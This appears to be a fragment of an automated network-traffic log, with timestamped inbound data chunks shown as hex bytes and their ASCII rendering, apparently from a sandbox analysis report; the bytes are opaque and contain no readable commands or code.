0w;RQ?P-nkbsbH^:Y91{yT@\" <SH'cm%bwfePqj-FiFji,Bn#[LA]}?\Bfv}ILXY2Aa_e1RtTb_j0ba=Z\|G,I!lWOUmM#fu\'uI\|:l_4\|JU@\)
2023-05-14 02:35:47 UTC	2142	IN	Data Raw: 83 c8 7c e1 bf 97 e6 8e fd bf 4c 34 65 c4 cb da a4 1a ff 9d e0 a4 35 35 e4 18 ed 28 92 cf 45 d0 79 29 cd 5e 48 9c 2e f4 a7 34 7b 33 6a 58 9b 49 9f b2 ff 95 f5 b3 14 4f e7 c1 3b bc 21 ec 4e 7d d7 f2 33 5d 9b 5d 01 a5 87 cf 26 13 98 bb 87 2d e9 80 f5 b8 bf 38 74 0d 2b 14 f6 47 a2 d6 65 74 85 34 a3 e6 ce 38 d7 28 b0 32 91 1f 5b 58 69 5a 96 de cf bd 22 e2 90 56 71 3c f8 8f 98 6e 4b 11 f2 30 08 ae e8 d8 4b f0 63 a2 d5 a7 12 34 77 ce 23 de ab 13 ed 72 fb 01 dd 93 28 ad a2 2f a7 51 ec 66 dc 47 e3 65 7f ee e9 ec 11 13 58 6b c3 7b 15 73 c0 9b 9e 80 e8 76 6d 18 90 1a bc f6 9c c6 18 4f 77 c8 08 c9 cc ca c9 ba e0 1d 4f be 26 e2 2b 4d 07 94 7f 48 f6 14 1d 9c 69 c9 e1 f0 a5 5b a3 f5 2e af 38 93 c0 8c 50 8f 45 12 d2 74 f7 3f 89 af 4f 97 22 61 8e bd 68 99 ac fe 23 33 c4 Data Ascii: \|L4e55(Ey)^H.4{3jXIO;!N}3]]&-8t+Get48(2[XiZ"Vq<nK0Kc4w#r(/QfGeXk{svmOwO&+MHi[.8PEt?O"ah#3
2023-05-14 02:35:47 UTC	2158	IN	Data Raw: 3a b9 ff 75 23 08 d2 c2 27 a8 5e 1d b0 2f b8 e1 74 7f ed 6d 6a f0 92 ec 75 00 ff 70 10 e8 45 86 fe a1 c8 01 5b 95 cc a8 47 9f 9f f5 de 10 c5 23 2a 03 8f 9f 02 4c d0 57 b5 02 ef 00 d3 5b f2 59 e2 2d ae 94 3c 94 5e ab a4 e2 59 6f eb 0d d4 80 55 77 0c 98 23 42 d3 85 36 8e d7 44 c5 27 54 2a 23 a5 e7 29 76 d8 94 86 5f ca 76 1a db bc c7 b2 4b 3c 3e cf 46 0b 85 5a 0f a2 bf 5e 33 c3 86 d3 34 3f 3d 9d 48 59 de 68 e7 d3 58 5d 6b 0a c6 1e f8 4b 07 56 fd cf 36 01 70 86 97 0e a0 dd f7 40 3f 7b ab 75 7c 15 53 14 0f 8f a4 90 c8 2c 80 57 bc ec a5 49 73 63 41 4a 78 b8 9c ec a2 37 7c a6 e3 99 fe aa da b5 44 76 cb 21 46 f3 8e 7b ff 8e 34 ec cd 16 90 06 d2 c5 15 25 93 16 66 17 44 20 0e 48 2e 22 6a f9 ec 58 7a 75 18 de 78 4c a2 73 24 7c e3 16 68 b2 55 ec 30 56 27 fc e1 e9 59 Data Ascii: :u#'^/tmjupE[G#LW[Y-<^YoUw#B6D'T#)v_vK<>FZ^34?=HYhX]kKV6p@?{u\|S,WIscAJx7\|Dv!F{4%fD H."jXzuxLs$\|hU0V'Y
2023-05-14 02:35:47 UTC	2174	IN	Data Raw: 22 e7 71 35 47 d9 d0 f4 f1 eb c2 ab 2a 26 df 35 0f 73 94 4e e4 93 ce 61 5d cc 7f 10 26 e5 71 0b 00 a2 2f 05 0b 18 d8 6d ed f7 5c f3 dd 6f 62 a3 61 8b d7 39 3a 41 b5 f2 77 81 b5 5c 89 87 da 15 a3 ec 6c a1 5b 75 82 c8 e4 2b 62 1a ca b7 0b f3 04 5f cd 80 f7 fe 81 25 a5 3d ff d2 a6 9b 4f 42 2a 19 3f dc cf 9b cb 62 93 cb 1c bf ea ed ed a6 6e 3d 26 71 4a a3 74 7b 70 92 ab 60 72 46 b4 54 28 53 45 b0 a0 d9 77 eb 3a c2 11 ab c3 13 76 e5 d6 01 c1 eb 69 ca 05 57 d9 77 3c 55 d7 dc 60 6e 72 09 38 27 4a 6b ec 7c cf e7 c9 5c eb 22 e6 b9 70 d7 fd 9a de 1a 26 71 85 68 99 60 3b e7 33 d6 5f 57 0b 8d 34 38 d6 a8 e3 e6 dc fc 87 7c c3 be 61 e5 52 97 e6 ca 25 14 9b 9a 74 46 50 1d 9b 46 d9 25 6f 70 43 7d 76 3e 31 84 98 37 38 51 a5 e4 04 ef 2e 9d 4a ea f2 19 95 a1 1f 4a fd e5 a1 Data Ascii: "q5G&5sNa]&q/m\oba9:Aw\l[u+b_%=OB?bn=&qJt{p`rFT(SEw:viWw<U`nr8'Jk\|\"p&qh`;3_W48\|aR%tFPF%opC}v>178Q.JJ
2023-05-14 02:35:47 UTC	2190	IN	Data Raw: f4 a9 2e b5 a2 0e a3 73 a4 e2 9e 8d 0e 28 d0 07 e4 63 0f dc 7d af 82 59 48 e8 25 60 a4 b1 75 38 4e 8a 79 3b 81 8c c3 e8 c1 4a 6c 3f ba 11 fc b6 04 db 5d 5b ba 26 b7 86 c4 1c f7 f3 83 11 f7 35 13 c9 f1 fd 6c 98 d6 4b 95 d9 5c 1c 32 96 23 c2 33 f3 e5 b3 04 74 c6 01 3f 84 f9 7a a1 ba 9e fa a9 3b 7e e9 c7 92 b6 8e ba e3 18 cb 68 d3 ef eb e6 ce db d4 fc c1 74 7a 1b 9c 1f ec f1 83 44 d2 a9 79 c7 29 19 d0 75 6f dd e5 68 fe c2 3d ee f7 88 34 38 a2 0a ae bd a1 56 71 87 56 a5 44 10 56 a1 c9 28 47 51 04 e7 fc 2e 61 7b 1c fa 24 17 b7 55 47 1d 8a 69 6e c5 29 93 5d 7f e0 67 a2 74 4e 05 15 6f f9 d1 dc 8a 18 e9 0f 55 e3 77 ff 33 4e 5f 75 5d ac e8 1b 05 01 36 c5 bf 5d fc c5 86 a6 24 8b 3e c5 18 3f d7 6e e8 8f 61 4e 9a 4c f6 9d 20 9c db 5f 61 0b dd c9 f6 e9 67 91 35 ef f6 Data Ascii: .s(c}YH%`u8Ny;Jl?][&5lK\2#3t?z;~htzDy)uoh=48VqVDV(GQ.a{$UGin)]gtNoUw3N_u]6]$>?naNL _ag5
2023-05-14 02:35:47 UTC	2206	IN	Data Raw: 12 2c 3e 97 f6 e1 7b 80 84 cb 29 00 77 4d b5 c3 2a cb 8f d1 48 e0 e7 7f 70 8c ed 79 61 17 24 ce bb cc 0f 44 81 fe 16 b3 d1 ea 6c ef 75 24 63 a7 f8 db cf 05 e2 e4 b5 32 55 9c f1 52 a0 f7 67 5e 22 b9 3f a5 a4 9d d4 c8 cf f3 6c d3 56 af fd ac 54 df 4f 1b fc e0 f1 e1 74 4c bc d0 a7 e5 d9 56 d6 49 af a6 08 4e d7 72 d3 fb 2c 0f 60 ac 61 87 65 c7 cb 9f 0a a0 f6 71 7c 88 8b 08 71 67 75 c7 67 0b 6f e7 d4 dc b2 ed f7 eb 29 79 4e 6f 51 eb 6e db e9 b4 68 a0 f9 df 5c 55 80 c1 a1 92 b6 49 94 6b bf ab 20 96 d8 65 70 ac 44 ff 50 72 2f b6 66 9d 7f d5 35 aa 7d b0 c7 db cc 90 f1 7d 77 22 af 71 71 a6 5c 49 cf 08 87 9f 69 17 66 4b cf 52 39 5e cc b1 c7 32 fb 35 70 0e fe 92 81 47 97 72 c4 96 80 cd ce 55 f2 aa 45 33 31 7a 6f 28 6b 8f 76 e3 98 17 dc c4 7e 87 3b af 9f 59 95 a3 f4 Data Ascii: ,>{)wM*Hpya$Dlu$c2URg^"?lVTOtLVINr,`aeq\|qgugo)yNoQnh\UIk epDPr/f5}}w"qq\IifKR9^25pGrUE31zo(kv~;Y
2023-05-14 02:35:47 UTC	2222	IN	Data Raw: 23 78 df b6 1b 49 90 6d cd fd b4 19 31 0c a4 80 4c d6 d1 85 6b 76 d1 ed 4d 1e cf 96 81 6a 43 1b 78 d9 3e 66 b6 4c 4f 5e 8f fc 68 24 59 cd a2 21 b6 b7 c5 a1 c8 6b 71 64 1c 58 be 62 d2 ff 47 d6 23 9b 78 46 09 bc 36 09 e4 cf ec 89 0e 3c 59 a3 11 65 62 b6 aa f4 d1 74 5d 17 21 97 98 d6 27 98 ab 86 96 d9 3c 1c fd 88 26 42 24 1f c9 1d 37 48 a7 ff 63 b5 7b 05 0f 5d 53 3c b1 9b 1d d9 4a 14 42 19 48 25 d0 23 bd 10 ff 7f 9c fc 41 e4 e3 b3 8e 2b 37 70 0b e7 68 fe 68 e2 f5 4b ab 03 11 42 65 9f 1c 59 10 81 40 bc 96 fb 53 e9 4b 9c a0 b3 82 6e 46 81 ec a6 61 9d 96 7b 32 cf a3 fe 64 0f 66 cc 7b ef 78 a8 57 2e ef d1 24 80 ef 17 e4 49 50 df 5b be 6c 7d 7c a6 f4 bc a7 4e f3 fb bd 54 14 08 22 f5 9e d1 be 94 ca 03 7a 18 a5 25 9c 28 f7 99 d3 dc e4 70 a3 32 29 cc 5f 4f 00 c1 84 Data Ascii: #xIm1LkvMjCx>fLO^h$Y!kqdXbG#xF6<Yebt]!'<&B$7Hc{]S<JBH%#A+7phhKBeY@SKnFa{2df{xW.$IP[l}\|NT"z%(p2)_O
2023-05-14 02:35:47 UTC	2238	IN	Data Raw: 31 55 f9 e1 0d 37 d3 89 ca b1 6e 2f 48 a5 29 3f 45 6d c7 c2 48 c2 82 f4 28 d6 eb b4 b8 76 31 be 01 22 44 e7 2b 68 fe 1a d3 f1 79 e6 f9 84 2b 97 10 1f 63 1e c6 b0 10 3a d7 15 1f 99 6b fe 07 3a ca 51 7c ea 09 9d ee 9e c8 9b ec fa a3 68 87 a4 06 c5 0f 2f 95 22 b4 59 f2 b4 db 7f 11 e0 fd fc de 30 2f ad 72 f9 d6 80 61 16 e8 03 5a a4 7b c6 6f 5a a5 74 19 60 a5 cd f7 dd 3d 88 b6 d8 b7 cf e2 a8 6f 9d bd 3d f6 cb 2d 06 14 1f 30 88 ec bf 82 2b f3 9d f4 23 32 5d 47 16 b1 4e d5 d1 90 11 b3 ba 66 e5 05 71 d6 0b e5 b3 67 a2 a0 49 4a 92 78 d1 c4 2d e6 7d d1 f1 45 c2 f7 7d a6 67 14 9f a2 ca d3 f9 be 81 e5 fb e6 76 fd 13 7c 9f c9 9c 24 ce 4b 9f 89 ee f1 6a 45 1a 0c 57 24 a3 b2 63 e2 c7 18 c5 0a 06 46 44 0d 11 0a 4f 54 2e ec bf 35 58 7e 8d b4 a2 e4 12 34 ae 3a 9b 00 2f 11 Data Ascii: 1U7n/H)?EmH(v1"D+hy+c:k:Q\|h/"Y0/raZ{oZt`=o=-0+#2]GNfqgIJx-}E}gv\|$KjEW$cFDOT.5X~4:/
2023-05-14 02:35:47 UTC	2254	IN	Data Raw: 26 31 d3 0d 3b 09 ea e8 e0 55 ec 54 62 ac 65 ad be 97 62 fc 8d 22 ef 0b 76 97 b2 59 a0 f6 14 14 20 62 4b ab 73 2b 07 09 15 23 3a 5f b0 2e db b9 90 d6 45 f3 5e a5 ad f8 76 34 6c de b1 57 4e 77 3c 15 7e 83 47 50 d5 7d 25 e9 d9 bc 19 cc 22 36 66 49 a3 a5 66 4b f5 51 95 94 ff b0 04 54 5c 46 e8 58 6f ed c6 98 57 77 7b a2 d6 9d 3a 2c 29 da 74 db 98 f7 40 f0 1d dc 3b ac 4c 50 f1 cf f1 d4 c2 db 37 c6 0c ba 7e d8 c5 af 2d 06 af 23 fe 1a 65 ea ef 19 6d 07 ea e8 fc be 3d 74 e3 e5 0b a2 76 90 5c 64 ba 1f 35 48 ef e5 48 26 e8 6c 73 20 54 63 ce dc c5 a3 f3 ed 77 ae a7 50 c2 d4 75 53 3e c9 6c d1 55 bd dd ea 24 e8 6c 2d b6 ee 82 af 35 7d 8b fd 98 ae 76 99 17 d8 ab 5f c3 75 80 df 67 b1 af bc a0 4a 39 17 da e3 84 ad df 39 e5 a1 21 7e b0 e3 a2 aa e4 f3 9b 40 d3 ac a1 d3 a1 Data Ascii: &1;UTbeb"vY bKs+#:_.E^v4lWNw<~GP}%"6fIfKQT\FXoWw{:,)t@;LP7~-#em=tv\d5HH&ls TcwPuS>lU$l-5}v_ugJ99!~@
2023-05-14 02:35:47 UTC	2270	IN	Data Raw: 3a ef 7c 67 4a b7 d6 ee 66 b3 0d 88 1f 85 f3 62 60 fb 01 9d b7 8c 7d 48 52 da c7 6c bd e7 ce 51 26 b8 09 35 2c 89 29 e8 4d 73 f4 3b 33 48 e0 ea 45 a4 ba c1 e0 ac fd 57 b4 23 b5 f7 a1 d7 d0 a6 86 27 1b b2 a0 67 15 90 74 c7 fd d2 5a 2d f3 97 56 cd ef 80 ab b0 f2 75 80 9d 1f f2 2f a3 d7 4d 7a ca 64 34 06 e4 42 7e 62 1d af 1f dd 84 3b 99 ed 0f ea 85 7f a0 a5 5d f0 d1 bb b3 de 97 7c f1 e7 f6 75 9a 4d 95 5a 4c 0b a2 cd ca 5b 27 9b 89 4c e6 0f 1e a8 76 f5 3f 8b 7d 4e 20 21 56 f1 55 e0 6a ef 09 06 16 a9 7d 03 e3 d8 3c 6b 88 97 87 95 21 e2 9d a2 9b 7e bf c4 b4 a5 05 c9 34 eb d8 26 6f 7f 4a 00 05 c1 28 1f 5f ec 18 3d 2a a8 a9 d1 5f c8 bb 61 7a ee 22 5f 72 bb 6e 9a 1a 8a 8b e1 ff 7e 7d 68 e9 d5 be b6 77 ed 79 37 6f ea be c4 7e a4 8a ba 64 3d a5 6f 04 fd 51 21 92 9b Data Ascii: :\|gJfb`}HRlQ&5,)Ms;3HEW#'gtZ-Vu/Mzd4B~b;]\|uMZL['Lv?}N !VUj}<k!~4&oJ(_=*_az"_rn~}hwy7o~d=oQ!
2023-05-14 02:35:47 UTC	2286	IN	Data Raw: 42 3a 9f 23 72 9b 74 41 57 e7 e7 b9 2d 3d 13 c9 10 93 d7 55 4f 90 8c 7c 42 bc 7f 64 d1 77 78 66 b4 6d ae e4 f0 c8 04 79 63 c8 3c 1b 6d d6 c1 9b b4 77 dc b8 22 c0 c8 61 71 a0 97 14 b1 b1 f4 16 2d 28 7d b5 50 bb d2 6e f9 91 86 53 62 2e ab ec e2 ed c0 97 43 6f ab 55 a4 11 cb 96 e0 e3 94 c7 c4 08 5e 48 48 98 10 6e 37 05 2d be 8d 9c e3 61 11 5f eb 87 10 f1 f6 a7 fc 96 97 d1 f1 f8 71 40 3c 5d ed b8 55 19 17 12 f6 1e 43 27 0b fa e2 e0 64 d3 ae 98 9e 20 25 69 75 8c ca 12 23 09 11 40 a3 5c 5b 28 70 b7 67 2a f9 5c 64 17 1f 48 a5 eb e4 58 e6 d1 6c f8 e7 4d 67 c1 9e 51 bc ee ff 56 38 46 7f 4e 49 38 bb 96 19 1e 37 2b 0a 3d 17 28 67 c1 db f7 ec d0 3f 56 7a 17 2b c9 d4 bf 44 36 63 7b 93 b5 98 c0 e1 60 b8 63 6b 9a 54 ab 43 13 e3 df 4e a7 f8 f6 2c 31 e3 bd 22 66 5f a6 bf Data Ascii: B:#rtAW-=UO\|Bdwxfmyc<mw"aq-(}PnSb.CoU^HHn7-a_q@<]UC'd %iu#@\[(pg*\dHXlMgQV8FNI87+=(g?Vz+D6c{`ckTCN,1"f_
2023-05-14 02:35:47 UTC	2302	IN	Data Raw: 36 a7 1b b5 f2 90 55 98 e2 9a 1c b7 75 6c 69 82 6a 4f 17 85 db 24 d4 7d 6e bf 39 28 57 c8 28 c5 67 13 1c 9e c6 0c 54 a5 d7 62 ac 47 66 b7 80 32 ef d4 cc d4 f4 6c 47 53 f2 5e 3c 0b 72 86 6a 97 40 69 e2 cb b9 90 75 d0 fb 05 ee 7d fe 79 a7 25 eb 25 5f 80 3e e7 e5 00 d3 1f b9 d5 c5 62 46 72 e3 bb 72 7d 41 55 00 fb 82 ec 02 5a 61 de 03 76 51 ec cc 31 e9 f1 f5 b0 b5 26 03 21 ab 24 a2 5a 4c 79 6b a8 3d 18 c7 59 e9 fa 6c 0f 69 c7 23 a7 65 db 49 5d 5d a5 36 b2 74 0c a5 96 c1 13 34 44 6a b5 7a ac 48 17 57 48 6f 42 3d 2e 4c 68 ad 23 11 e8 2e 8c 6c e6 95 e8 ff 3c 6e 4b 7f f5 34 4a 3a 48 9b 64 40 95 6e fb 3c 4f 6c 9a 08 29 29 8c 7c 26 be f5 ef 63 43 36 98 5c db 41 ae 75 a5 bf 02 ed 06 96 40 c4 0e 7a 86 29 3c 05 93 3f 2b 23 f5 4d 23 95 dc 67 72 6c 3d 93 d3 71 80 47 5f Data Ascii: 6UulijO$}n9(W(gTbGf2lGS^<rj@iu}y%%_>bFrr}AUZavQ1&!$ZLyk=Yli#eI]]6t4DjzHWHoB=.Lh#.l<nK4J:Hd@n<Ol))\|&cC6\Au@z)<?+#M#grl=qG_
2023-05-14 02:35:47 UTC	2318	IN	Data Raw: 8c 54 be bb 40 d3 da f3 67 0d 64 d3 7c d9 e8 55 7a 21 7d dc 0d de c1 4f 6f f1 66 53 82 1d e7 79 59 29 3b 7c c6 e5 a2 32 0b 33 3b 18 c5 f8 86 36 e1 fa 97 eb 86 90 21 f1 06 0f 12 c6 c4 85 fc 1c 7a 6f af 58 c6 e0 76 00 37 71 0e 1e 8e 2e 67 93 ac 5c 16 4c e8 00 f7 49 ce 98 8d 63 aa 86 d7 0e 1e be be 97 3c 92 82 2e b4 82 50 f1 6b b4 92 ac 84 53 b4 9d e2 72 b0 09 3d bc aa 2e 61 2c c4 17 dd 55 ab ac f9 da 8f f5 69 6f 6b d3 7c 10 83 fa ae bf b5 4b c7 fe 3a 75 02 1c bb 40 0b bf 21 fa 23 80 dd e5 c8 3a 5d 00 f3 d8 7a 9b 73 da 6b 8f b6 08 ab ec 4a 79 e4 7d f4 9d 2e 34 b1 dc 70 1b 28 48 8c 26 0a d0 f5 7e 5a 60 08 57 d8 e4 a3 ad 7e f7 25 ad fa 32 7d b7 bb 9c a1 e0 e7 a8 81 39 3a db 3e 60 40 bd 0f b9 6a ec 14 97 9d 64 65 08 07 5f 48 1c d0 89 56 04 31 2c 5e 8f 82 19 26 Data Ascii: T@gd\|Uz!}OofSyY);\|23;6!zoXv7q.g\LIc<.PkSr=.a,Uiok\|K:u@!#:]zskJy}.4p(H&~Z`W~%2}9:>`@jde_HV1,^&
2023-05-14 02:35:47 UTC	2334	IN	Data Raw: f5 30 cf 8d f2 61 92 a7 37 ba b6 32 09 fc 00 b3 6b c9 82 fe 58 08 86 e5 f2 5d 28 6d bf 1d 94 0f 12 3c 7b 75 8d a2 cf 4a 26 5b 6a 6c b0 ae e2 63 24 d1 cc c0 e0 03 95 ad 7b 8a 7f ea 0c 77 c4 91 2e 89 1b 62 af 19 fd 80 a3 c3 ce 1d f1 1d c3 5d 90 cf 8e 19 ff 3e da 15 8b 4a 72 10 93 0f 63 82 32 51 f1 ee 9f 87 0f 6d 7a e5 aa 9f 96 23 4a 62 fb ee cf e7 3c a9 dd 47 d6 01 8e 70 5a f3 65 1f a6 5f e5 8d 28 63 5a 69 9f eb f3 e2 76 2e 16 21 48 65 81 34 aa ef 7f 97 14 d6 c0 36 47 66 bf 56 7f ca 0e 30 0b 8e 4a e7 ca 0a 54 87 e4 7a 24 b5 f5 a7 ca fc 21 81 67 fd 79 95 87 ed 42 2a 2d 02 af 80 5d ca 9b 4d 33 6a ef b1 6c 3f 1b 2d 0f ca 4f 6d 4e c1 7a a0 11 96 e0 bc 2d d8 b5 2e 34 55 54 8d ec 86 29 de e0 51 d1 61 58 1d 88 a7 a4 a2 5f d9 ae 2c a8 b2 72 51 21 99 3c 90 90 07 b5 Data Ascii: 0a72kX](m<{uJ&[jlc${w.b]>Jrc2Qmz#Jb<GpZe_(cZiv.!He46GfV0JTz$!gyB*-]M3jl?-OmNz-.4UT)QaX_,rQ!<
2023-05-14 02:35:47 UTC	2350	IN	Data Raw: 4f b5 73 ed 3a 93 9d 9a a7 f3 56 9e 8b fc 5f e0 64 37 80 1c e3 ef fd c8 72 e0 c6 50 22 a2 b9 f0 83 0a 6a 05 46 01 93 ad 96 cd 14 6f e1 ed 83 b9 6d 57 09 40 ae b0 b3 f4 d5 d9 b5 c2 86 cf 70 b7 ac 4b 6e 27 48 9b 21 49 2f c1 06 5e 6a cd ec f1 74 df 0d 1d ee f8 b6 27 4e 95 3d ed c2 e5 6a 46 f8 68 cf 5f 4b c6 c6 2b f7 a3 7a 37 16 34 f2 d7 62 e3 2f 88 85 71 86 0c 71 3e 93 62 4f 68 14 68 20 b7 5f 99 50 6d 8d 14 23 79 68 cb 29 36 8b 35 a4 3d 7b 99 66 41 96 25 41 3e 67 d0 a8 e0 31 a2 33 58 39 21 d5 08 18 14 c7 e7 5c 1d aa 75 f2 95 60 2b da 2c bc e4 f5 74 00 d9 87 54 3e b0 70 29 32 af 53 50 5d 28 75 6b 84 08 06 99 21 04 31 c2 a4 5b ec 97 fa 6d 75 6e b7 92 9d 87 71 b2 55 5c 52 c1 2d fd 66 d4 9c 58 e9 13 2d 6a ed 23 33 12 44 05 9d 1f 95 77 e7 48 65 10 ff 70 c3 ad 7d Data Ascii: Os:V_d7rP"jFomW@pKn'H!I/^jt'N=jFh_K+z74b/qq>bOhh _Pm#yh)65={fA%A>g13X9!\u`+,tT>p)2SP](uk!1[munqU\R-fX-j#3DwHep}
2023-05-14 02:35:47 UTC	2366	IN	Data Raw: 05 8f c6 13 54 75 d1 08 0f 55 b8 10 fc 2b 1a bb 4f 9b d1 51 a0 de 32 3f e5 81 46 17 5b 9f 14 9d 28 88 2f 88 f6 a5 6e ad 8f 8c 74 d3 2a 6f ae 06 b3 bf fe ed 86 4b 65 70 e0 96 ce 36 a2 93 a8 b5 48 21 7c 8d 17 9e ec 77 fd e6 2d d8 29 ac fe af e4 2d 96 e5 aa f8 83 15 45 9f b3 7c 1b f9 79 57 80 a4 1f 96 6c f8 dc 05 5c df 6c f6 89 2d 33 aa fe ff 4b 9a 20 c3 c9 81 85 8c f4 dd 42 b6 1e 4a 95 1b dc 6a 31 b2 e3 5f 84 cf e4 6e 3c b8 f2 61 7a cf dd 97 3e 9b 1d 52 b5 9a 7e 97 c0 7b 8c d4 67 9b de 2e c8 2f fe 7a 0d 6a 7f 9f 72 54 53 e9 3c bd be 9d fc eb 3e 5d 7a 3c ef da 70 a2 16 bf 8b 69 b3 87 21 96 ba 19 66 85 3c 89 ea ec 3a a0 04 a4 7f d7 11 b0 5e 11 71 ba 95 a1 c1 36 40 22 c7 fd fc 04 78 e5 ae 30 8f c6 32 55 41 05 1e a3 f7 9a 46 ad e1 bb c5 e9 1f 15 9f d1 31 6c 66 Data Ascii: TuU+OQ2?F[(/nt*oKep6H!\|w-)-E\|yWl\l-3K BJj1_n<az>R~{g./zjrTS<>]z<pi!f<:^q6@"x02UAF1lf
2023-05-14 02:35:47 UTC	2382	IN	Data Raw: 03 81 10 55 4b 59 d4 45 16 63 1c 1b f2 28 56 8e 3e e9 c7 02 61 e7 71 b6 ed 96 3d 4b 4f 8a 0d 47 42 e9 5c b5 39 eb d2 f0 b7 f8 9c 2f 22 40 21 a0 e8 8b ce db e9 c0 5c 15 4d 81 ec f0 8d 25 a3 32 b3 0b a7 ad b6 ad bf 2c c7 d9 0c 17 bb 3a ca a8 70 e1 fd 59 13 eb 1f dd f9 bf ed d1 65 e6 66 d4 21 45 6f f9 c1 1d 27 f9 6a e0 3b 1c 0b bd 51 c3 8d e7 c3 57 ad 00 f4 54 85 cd 82 5a a8 27 4b 1e 22 51 0a 87 74 21 f3 45 77 d1 6c 1f 6c 2c eb bf 15 dd 47 e8 fb e6 10 46 25 1b fc f0 46 d6 75 62 98 55 6c e5 58 45 06 7c a5 9d cf 13 b7 23 4a 93 be 3f 60 aa eb e4 4f 6a 21 6a 42 7b f3 2f 6a cb 28 c2 e5 c2 d3 b9 f2 79 f6 82 64 c9 67 a8 a2 92 b2 db eb 16 3a a3 01 36 d2 fd eb 59 81 e7 51 53 62 78 b9 7b 20 99 cc 55 e1 cf 6c 4d 48 a8 31 a3 40 5d 8c 7d 75 91 cc 67 0b 1a fc 10 6e 42 a0 Data Ascii: UKYEc(V>aq=KOGB\9/"@!\M%2,:pYef!Eo'j;QWTZ'K"Qt!Ewll,GF%FubUlXE\|#J?`Oj!jB{/j(ydg:6YQSbx{ UlMH1@]}ugnB
2023-05-14 02:35:47 UTC	2398	IN	Data Raw: 6b 78 35 ed c2 c8 94 3a 6b f1 fe 45 fe bc 57 01 60 79 d8 b8 ce 05 dd b4 79 b8 c8 23 af e7 a4 59 26 c9 3e 3d 4b bd d4 69 07 f2 64 1f ff 6c e3 6f 60 dd 4f fa ca 60 f6 51 55 55 96 f9 01 e0 fd 52 31 79 66 b6 d0 fb 14 ea e0 f5 49 1d 76 6d a1 b8 28 25 31 98 2b cd b7 55 cb 98 78 54 7a ba 44 7e 55 ad 7f a5 a2 d1 96 ba cf f1 c4 61 95 85 e6 eb 33 95 bf 0d 79 20 f3 55 68 b1 ff c7 67 96 7d d3 29 4d 71 2d 81 99 b6 81 05 e9 34 47 aa 30 eb d8 e5 57 8c 9a ea d4 a1 fa 37 06 3c 45 bd 15 76 41 22 89 2e f2 08 02 65 b9 31 a3 9e 33 a1 8b 6e 2d 87 89 2d 0c ea 66 75 75 b1 9b e6 51 81 92 cc 8e 01 cb f3 85 f0 a9 ea f8 32 6a 9e ff 7c 3d 87 a1 16 92 87 84 6f 27 17 9c 63 0a 26 4d e0 25 38 f4 eb 08 79 05 fb 6b e4 70 a7 7a 42 6f 4f 2c c9 af 04 7b 4f 6f 0d 78 bc c1 7e 6b 05 d1 13 e7 b8 Data Ascii: kx5:kEW`yy#Y&>=Kidlo`O`QUUR1yfIvm(%1+UxTzD~Ua3y Uhg})Mq-4G0W7<EvA".e13n--fuuQ2j\|=o'c&M%8ykpzBoO,{Oox~k
2023-05-14 02:35:47 UTC	2414	IN	Data Raw: 68 47 79 17 71 c9 35 ce 9f 93 47 26 82 38 e3 49 68 46 ce 21 f6 e9 f6 34 72 42 b3 30 a0 7a f3 b7 2a 26 6f a5 f8 39 be 0d e7 e6 ea 64 aa 36 d4 c0 40 df 26 af 22 a7 6e 0c 34 b2 07 72 9d 2f d3 c0 42 18 31 69 61 f8 ae f0 f9 ad 6c 40 02 fd 22 85 3c 6b b3 7f 61 da e5 94 51 a4 e8 41 7d 67 32 c5 62 cb 1f 11 e6 dd 86 11 95 33 e1 3c 40 67 f3 f2 b4 b9 87 8f 2e e0 fe 17 21 9e a9 c0 ad f5 f2 26 68 4e fc 7e 14 13 67 62 35 e6 e2 03 90 d2 2e 33 7a 2e 87 13 a3 1c 74 72 d5 ff ad 60 e4 e6 6f 40 03 c4 f9 a1 57 33 d7 1d c1 df dc 1a 8e f3 dc 47 65 4b 09 86 e2 c5 66 69 f7 3c 28 c0 a4 e5 74 3a 8a ca ed 1e 34 3a da 03 25 fb 08 94 c9 21 ab 47 60 3e 8a 19 79 e0 d9 fb 6a be b7 51 87 6a cc d4 ab fa 17 8e 24 bc a5 58 c3 ba 58 f1 c1 2f 0e 18 5e 3b 94 99 eb bd 44 f8 a5 44 8b 6a bd 8a 42 Data Ascii: hGyq5G&8IhF!4rB0z*&o9d6@&"n4r/B1ial@"<kaQA}g2b3<@g.!&hN~gb5.3z.tr`o@W3GeKfi<(t:4:%!G`>yjQj$XX/^;DDjB
2023-05-14 02:35:47 UTC	2430	IN	Data Raw: 02 be f5 a5 d4 9a b1 c5 ef fd bb dc 78 95 44 b3 26 d2 13 dc e2 c4 ac 31 f4 b8 e7 c8 40 ba b2 c3 e7 39 ca 89 47 ff f6 4f ef 2e 23 09 13 65 af 62 ed 57 e7 51 2d c8 91 7a 73 81 b7 48 04 6e 37 e7 8c e7 f4 7b 54 d9 d7 ce 6f 83 5a 3f 31 58 c3 96 b8 df 3b 77 d6 b9 81 f0 55 44 e3 23 2f e3 69 44 a3 a1 97 22 2c cd 94 ea 94 82 e2 1d 36 5e 26 86 95 68 81 9c 44 58 a5 56 91 e6 1c 60 99 4a 74 30 3c 59 76 2b 1e 9d 52 cf 46 3d ea 55 fa a4 ea 88 7c 20 45 9a a6 d8 22 35 e5 dd 81 50 e3 97 7d 0f 44 e9 37 26 b2 9c 66 5b 43 b2 f1 60 d7 8f 77 e3 6e 09 db 50 6e 77 fb e7 6b e4 e6 70 f9 6e 55 5f 82 ca 9a b1 7a 14 90 17 ef 61 ff 2c a2 71 63 99 b0 4f e3 83 2c 90 6f 85 3d 93 1c 59 f2 10 20 cc d2 19 6f c2 34 92 14 3d 7f 27 9e 0e 9e 6c af 22 91 df 95 6c bd f6 3c f4 7d 72 55 00 c9 f1 74 Data Ascii: xD&1@9GO.#ebWQ-zsHn7{ToZ?1X;wUD#/iD",6^&hDXV`Jt0<Yv+RF=U\| E"5P}D7&f[C`wnPnwkpnU_za,qcO,o=Y o4='l"l<}rUt
